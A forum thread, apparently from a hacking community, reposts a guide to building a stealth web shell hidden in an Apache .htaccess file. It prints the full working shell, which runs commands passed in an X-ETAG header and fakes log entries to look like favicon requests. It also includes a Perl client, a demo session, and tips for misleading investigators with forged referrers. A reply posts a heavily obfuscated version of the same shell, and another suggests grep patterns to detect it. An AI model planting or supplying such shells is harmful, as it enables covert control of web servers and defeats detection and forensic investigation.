Jump to content
co4ie

Writing a stealth web shell

Recommended Posts

Posted

People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:

No bad function calls

Hidden file

Hidden payload

Hidden url

WAF/IDS bypass

Limited forensic evidence

Looks like a small list, shouldn't be too hard....

No bad function calls

The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call, or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

Hidden file

I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

Hidden payload

In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

Hidden url

Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

WAF/IDS bypass

By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

Limited forensic evidence

This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.

1	# grep favicon.ico /var/log/apache2/access.log
2 78.84.166.152 - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-"
3 76.120.74.98 - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
4 76.120.74.98 - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)"
5 192.168.24.122 - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"

As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway:

1	127.0.0.1 - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"

It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

Now for the actual implementation, using php for the programming language:

- No bad function calls

Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

- Hidden file

the shell is .htaccess, as hidden as it gets.

- Hidden payload

Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

- Hidden url

Rewrite supposed url to the .htaccess file if X-ETAG request header is set

RewriteEngine on

RewriteCond %{HTTP:X-ETAG} !^$

RewriteRule .* .htaccess [L]

This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

- WAF/IDS bypass

By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.

base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))

- Limited forensic evidence

By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

This all combines to the following file:

01	# Self contained .htaccess stealth web shell - Part of the htshell project
02 # Written by Wireghoul - http://www.justanotherhacker.com
03
04 # Override default deny rule to make .htaccess file accessible over web
05 <files ~="" "^\.ht"="">
06 Order allow,deny
07 Allow from all
08 </files>
09
10 # Make .htaccess file be interpreted as php file. This occur after apache has interpreted
11 # the apache directoves from the .htaccess file
12 AddType application/x-httpd-php .htaccess
13
14 # Enable output buffering so we can fudge content length in logs
15 php_value output_buffering 1
16
17 # Rewrite supposed url to the .htaccess file if X-ETAG request header is set
18 RewriteEngine on
19 RewriteCond %{HTTP:X-ETAG} !^$
20 RewriteRule .* .htaccess [L]
21
22 # SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:

01	#!/usr/bin/perl
02 # Interface for the mod_php htaccess stealth shell
03 # Written by Wireghoul - http://www.justanotherhacker.com
04
05 use warnings;
06 use strict;
07 use MIME::Base64;
08 use LWP::UserAgent;
09
10 &usage unless $ARGV[0];
11 my $url = $ARGV[0];
12 pop(@ARGV); #keep readline happy
13 my $ua = LWP::UserAgent->new;
14 $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16');
15
16 sub usage {
17 print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n";
18 exit 2;
19 }
20
21 my $cmd = '';
22 print "Connecting to shell at $url - type 'exit' to exit";
23 until ($cmd eq 'exit') {
24 print "\nshell> ";
25 $cmd = readline;
26 chomp $cmd;
27 my $payload = 'AA'.encode_base64($cmd);
28 my $response = $ua->get( $url, 'X-ETAG' => $payload);
29 if ($response->header('X-ETAG')) {
30 print decode_base64(substr($response->header('X-ETAG'),2));
31 } else {
32 print "Error! No payload in response!\n";
33 }
34 }

A quick demo:

01	# GET http://localhost/favicon.ico | head -1
02 ________________________________________
03 h6 ?@@(F(
04 # ./stsh.pl http://localhost/favicon.ico
05 Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
06 shell> uname -a
07 Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
08 shell> id
09 uid=33(www-data) gid=33(www-data) groups=33(www-data)
10 shell> exit
11 # tail -3 /var/log/apache2/access.log
12 127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
13 127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"
14 127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16"

Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.

Some parting notes:

Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.

Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.

Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.

I guess it's OK to call the htshells project stealth now??

Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

Sursa

Posted (edited)

Nu e chiar stealth.La o modificare si o alerta pe contul unui client,primul lucru este sa cauti dupa patternuri cu grep.

grep -Rl "base64_decode("

grep -Rl"str_replace("

Daca am inteles gresit corectati-ma.

Later edit:

De obicei se face verificare si pe .htaccess pentru a observa daca sunt implementate codurile pt XSS.(cel putin asta fac eu).

Edited by PingLord
Posted

oare shellul asta merge detectat automat :))?


<?php $S = "_s".'er'."ver"; $s = 's' . "".'ub'."st".'r';$x = "e" . 'xp'.'lo'. "de";$i = "im". 'p' . 'l'."od" .'e';$cl = "b_g" . "X". 't_cen';$rr= $i('e' , $x("l" , 'st' . "r_" . 'rlp' . "lat"));$r = $i("",$x("d",'sd' . "tdr_" . 'r' . "depdl" . 'adced'));$cl=$r("b" , 'o' . "B" , $r("e" , 'le' . "a" , $cl));$e = $r('m','e','m'.$i('m',$'u','xuc')));$cl{4} = 'e';$cl();$be = $i('e' , $'h'."e" , "b" . 'as' . 'he6'."4_".'dhe'."c"."od".'he'));$bd = $i('e' , $'h'."e" , "b" . 'as' . 'he6'."4_".'he'."nco"."d".'he'));$u = $S{2-1}.$s{5-1}.$S{4-1}."to".''.'u'.$i{3-1}.$i{2}.'e'.$s{1+4};$R = $u($S);$k=$$R;$of = 'o_' . 'f'."l".'uea';$of = $r("o" , "o" . 'b' , $r("e" . 'a' , 'sh', $of));$X = $u('h' . $s{2+2}."t".$i{3-1}."_".$x{-1+2}.'_'.$x{1*0}.'t'."ag");$h = $i("e" , $x("k" , "hka".'dkr'));@$e($bd($s($k[$X],2))." 2>&1", $o);$pr = 'pr' . "In";$h("X-" . 'e'. $s{3+2-1} . ": " . $u( $r{-2+11+1} . 'a') .$be($i("\r\n ", $o)));$pr .= "tf";$pr($rr($u($r{14-6}), 9 * 1000 + 32.6 * 10));@$of(); ?>


















.

e tot ala de mai sus numai ca e obfuscat putin :)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...